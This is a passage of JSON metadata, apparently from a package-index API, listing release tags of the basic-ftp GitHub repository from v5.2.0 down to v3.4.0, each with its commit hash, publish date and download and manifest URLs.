.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.0/manifests"},{"name":"v5.1.0","sha":"9da4af0e1f82fe372bedc1b7820f55c6eaf012e5","kind":"commit","published_at":"2025-12-26T21:24:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.1.0/manifests"},{"name":"v5.0.5","sha":"1c92a9438704585a80aeaaad3e060382a35edad3","kind":"commit","published_at":"2024-02-27T21:05:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.5/manifests"},{"name":"v5.0.4","sha":"80e27be5dc562e5e18fcb2889e21d9568917dc1c","kind":"commit","published_at":"2023-12-13T19:58:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.4/manifests"},{"name":"v5.0.3","sha":"aa83d68f8958c4cc2684d35b2f6724afa5904adc","kind":"commit","published_at":"2023-05-05T08:12:17.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.3/manifests"},{"name":"v5.0.2","sha":"6deecaf9f3aa0312c92ee96389c405b79311e862","kind":"commit","published_at":"2022-09-01T10:52:41.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.2/manifests"},{"name":"v5.0.1","sha":"864f57e62fde72572f79509f81d976145815b82d","kind":"commit","published_at":"2022-07-21T09:24:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.1/manifests"},{"name":"v5.0.0","sha":"9bd6aa772524cef2800db5a71169130d18983e80","kind":"commit","published_at":"2022-07-16T07:38:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.0/manifests"},{"name":"4.6.6","sha":"80b805759413d023cc6fb0b9ae12d7d0fe8d5e27","kind":"commit","published_at":"2021-03-27T17:46:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/4.6.6","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/4.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@4.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/4.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/4.6.6/manifests"},{"name":"v4.6.5","sha":"27444603def5a4a89653e11e9c6089783bbf7c82","kind":"commit","published_at":"2021-03-26T19:49:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.5/manifests"},{"name":"v4.6.4","sha":"4db4f4ae4f81433adb429f241ec26e2e43797e87","kind":"commit","published_at":"2021-03-24T21:02:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.4/manifests"},{"name":"v4.6.3","sha":"8ed3c24e56706a52653d862e61b57340dcbcb4e9","kind":"commit","published_at":"2020-10-31T08:15:36.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.3/manifests"},{"name":"v4.6.2","sha":"7dc31f9a1a4dd6720606fcbf6fbf13916d928be0","kind":"commit","published_at":"2020-07-03T07:18:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.2/manifests"},{"name":"v4.6.1","sha":"026db49d2212d0d9e99321545ecc19e74b957807","kind":"commit","published_at":"2020-06-07T05:14:19.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.1/manifests"},{"name":"v4.6.0","sha":"3bfec5f56b1393e0f2f02f8b2cc4406513bd2a4c","kind":"commit","published_at":"2020-06-06T17:50:33.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.0/manifests"},{"name":"v4.5.4","sha":"2c6ba44a284f4a0a6a1f1df98b7bbd7d5d62fdb5","kind":"tag","published_at":"2020-03-22T10:15:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.4/manifests"},{"name":"v4.5.3","sha":"f3ede38f6f0cec7761fb0c7db81ac30b5c91a5ff","kind":"tag","published_at":"2020-01-14T17:36:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.3/manifests"},{"name":"v4.5.2","sha":"dad3d226ec8454840a40c41f14225b2161e97615","kind":"tag","published_at":"2019-12-26T18:01:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.2/manifests"},{"name":"v4.5.1","sha":"1acb581dcaddc17596e780fe04628f730cbe5656","kind":"tag","published_at":"2019-11-07T17:12:40.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.1/manifests"},{"name":"v4.5.0","sha":"1e8a8144e8f0721321beac443f4f545f8ab47276","kind":"tag","published_at":"2019-11-06T13:56:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.0/manifests"},{"name":"v4.4.1","sha":"26a2f00ed82f17df6777fcbcb8aba295f7532cb7","kind":"tag","published_at":"2019-10-29T13:56:21.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.1/manifests"},{"name":"v4.4.0","sha":"0499592114f3becbc2d554e12ab8e10e6b21b658","kind":"tag","published_at":"2019-10-28T09:18:08.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.0/manifests"},{"name":"v4.3.2","sha":"8d71ddbe37b927c3fb5028e8410ab669524b9e7b","kind":"tag","published_at":"2019-10-27T11:04:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.2/manifests"},{"name":"v4.3.1","sha":"67690d0689e6defaf632c2b9cee311b733c7ea0f","kind":"tag","published_at":"2019-10-22T20:34:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.1/manifests"},{"name":"v4.3.0","sha":"dbadd6b4c636bd3173adb3a7fe4158f02814cb3f","kind":"tag","published_at":"2019-10-19T11:44:45.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.0/manifests"},{"name":"v4.2.1","sha":"58abec8c455a87c5be8eafe54939dbf10a1ab2db","kind":"tag","published_at":"2019-10-17T13:24:32.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.1/manifests"},{"name":"v4.2.0","sha":"a93e1f30ae55abaafd2694e964c510f6c0f0d4c3","kind":"tag","published_at":"2019-10-13T20:29:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.0/manifests"},{"name":"v4.1.0","sha":"08cd4f87ba9f1dbb2b6db3b1f9844a7ec0da2b67","kind":"tag","published_at":"2019-10-09T12:46:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.1.0/manifests"},{"name":"v4.0.2","sha":"37a36355df0e9017cb09d89b340bd24ee574831f","kind":"tag","published_at":"2019-09-26T06:34:48.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.2/manifests"},{"name":"v4.0.1","sha":"063e0471820f61b318148afa94ad0e75cb48c199","kind":"tag","published_at":"2019-09-18T07:45:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.1/manifests"},{"name":"v4.0.0","sha":"8e5debbb84668040f1a417512afde275dae367c4","kind":"tag","published_at":"2019-09-13T04:50:53.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.0/manifests"},{"name":"v3.8.3","sha":"1b41b396bb90a295e9be630a69bbc39a72d98e0f","kind":"tag","published_at":"2019-08-29T05:21:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.3/manifests"},{"name":"v3.8.2","sha":"fca1005c372e1f7894ce5cc524043c07323b9f62","kind":"tag","published_at":"2019-08-28T19:35:47.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.2/manifests"},{"name":"v3.8.1","sha":"280d78828219235f67eac15fac1d155fb8ec0550","kind":"tag","published_at":"2019-08-14T18:05:50.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.1/manifests"},{"name":"v3.8.0","sha":"df70dbf1aeeb33f36ca87bd49f7ef8bc78c6bd92","kind":"tag","published_at":"2019-07-25T16:05:51.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.0/manifests"},{"name":"v3.7.1","sha":"7a2f635fc3f6c7796cd5507d9cef3d3034aeaa86","kind":"tag","published_at":"2019-07-19T07:11:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.7.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.1/manifests"},{"name":"v3.7.0","sha":"8ea7c4258505d6e2d5f43efe130c52e73cc1658d","kind":"tag","published_at":"2019-06-26T12:16:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.7.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.0/manifests"},{"name":"v3.6.0","sha":"b5bd1b7dd1db17b5653331a27ce1c643faa379f6","kind":"tag","published_at":"2019-06-05T13:25:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.6.0/manifests"},{"name":"v3.5.0","sha":"f7f4302c90483296be5f9a76be4d92930da24e66","kind":"tag","published_at":"2019-04-19T07:28:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.5.0/manifests"},{"name":"v3.4.4","sha":"bfb84f30151d0caae27c1fe0d24da2bfffefc697","kind":"tag","published_at":"2019-03-20T09:22:13.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.4/manifests"},{"name":"v3.4.3","sha":"23236bf595a8766a8d84d58f5517a034be3ec8cb","kind":"tag","published_at":"2019-03-05T13:31:43.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.3/manifests"},{"name":"v3.4.2","sha":"ec464e88599cb7555ac54334cb60b958c58383e5","kind":"tag","published_at":"2019-02-26T14:23:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.2/manifests"},{"name":"v3.4.1","sha":"5ae8531c7b35f651d57a575883ebe448ac229995","kind":"tag","published_at":"2019-02-23T19:57:28.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.1/manifests"},{"name":"v3.4.0","sha":"a4fcc6f911402913a02a4c769921763c11fcdba6"